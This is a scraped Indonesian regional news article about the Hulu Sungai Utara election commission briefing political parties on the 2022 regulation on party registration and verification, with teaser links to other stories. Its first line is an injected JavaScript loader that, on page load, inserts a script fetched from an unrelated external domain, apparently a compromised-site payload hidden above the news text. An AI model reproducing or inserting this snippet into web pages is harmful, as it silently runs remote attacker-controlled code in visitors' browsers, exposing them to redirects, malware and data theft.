(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menggelar sosialisasi dan rapat koordinasi mengenai Peraturan Komisi Pemilihan Umum (PKPU) Nomor 4 Tahun 2022 bersama para pimpinan partai politik (Parpol) di aula KPU HSU, Sabtu (30/7/2022).
Sosialisasi PKPU Nomor 4 Tahun 2022 tentang Pendaftaran, Verifikasi, dan Penetapan Partai Politik Peserta Pemilihan Umum, Anggota Dewan Perwakilan Rakyat, Dewan Perwakilan Rakyat Daerah serta Penggunaan dan Fungsi Aplikasi Lindungi Hakmu.
Ketua KPU HSU Rina Mei Saputri mengatakan, pentingnya dilakukan sosialisasi dan rapat koordinasi tersebut untuk menyampaikan isi tentang PKPU nomor 4 tahun 2022 kepada stake holder, terutama kepada partai politik.
“Sosialisasi ini sangat penting kami lakukan untuk menyampaikan isi dari peraturan tersebut kepada stake holder khususnya partai politik yang mengikuti pemilu nantinya ditahun 2024,” terangnya.
Baca juga : Trio Asing Cetak Gol, Laskar Antasari Menang 3-1
Dalam sosialisasi ini, disampaikan PKPU tentang tata cara pendaftaran, waktu pendaftaran hingga syarat-syarat partai politik yang akan menjadi calon peserta pemilu.
“Untuk pendaftaran akan dimulai dari tanggal 1-14 agustus yang mana pendaftaran dilakukan dengan satu pintu yaitu melalui KPU RI, jadi untuk kabupaten tidak ada kegiatan tersebut,” imbuhnya.
Rina menghimbau kepada seluruh Parpol atau peserta pemilu agar lebih mempersiapkan diri dan melengkapi persyaratan yang ada.
“Kami himbau kepada partai politik atau peserta pemilu agar lebih mempersiapkan diri dan melengkapi persyaratan, dan juga untuk seluruh masyarakat HSU kami menghimbau untuk bisa memeriksa diri di aplikasi lindungi hakmu apakah sudah terdaftar di daftar pemilih berkelanjutan,” ungkapnya.
Baca juga : Steam Diblokir Kominfo RI, Warganet ‘Marah’ Sebar Alamat Rumah Johnny G Plate
Lebih lanjut ia mengharapkan, melalui sosialisasi dan rapat koordinasi ini stake holder atau partai politik dapat mengetahui prosedur pada pendaftaran dalam verifikasi administrasi maupun verifikasi faktual.
“Tentu kita berharap dengan dilaksanakannya kegiatan ini seluruh stakeholder atau partai politik mengetahui apa saja yang nanti diperlukan dalam pendaftaran serta dalam verifikasi administrasi maupun verifikasi faktual,” pungkasnya.
Pada sosialisasi dan rapat koordinasi tersebut turut dihadiri Ketua KPU HSU, Komisioner KPU HSU, Perwakilan Kodim 1001 HSU-BLG, Polres HSU, Bawaslu HSU serta Parpol yang ada di HSU.(kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.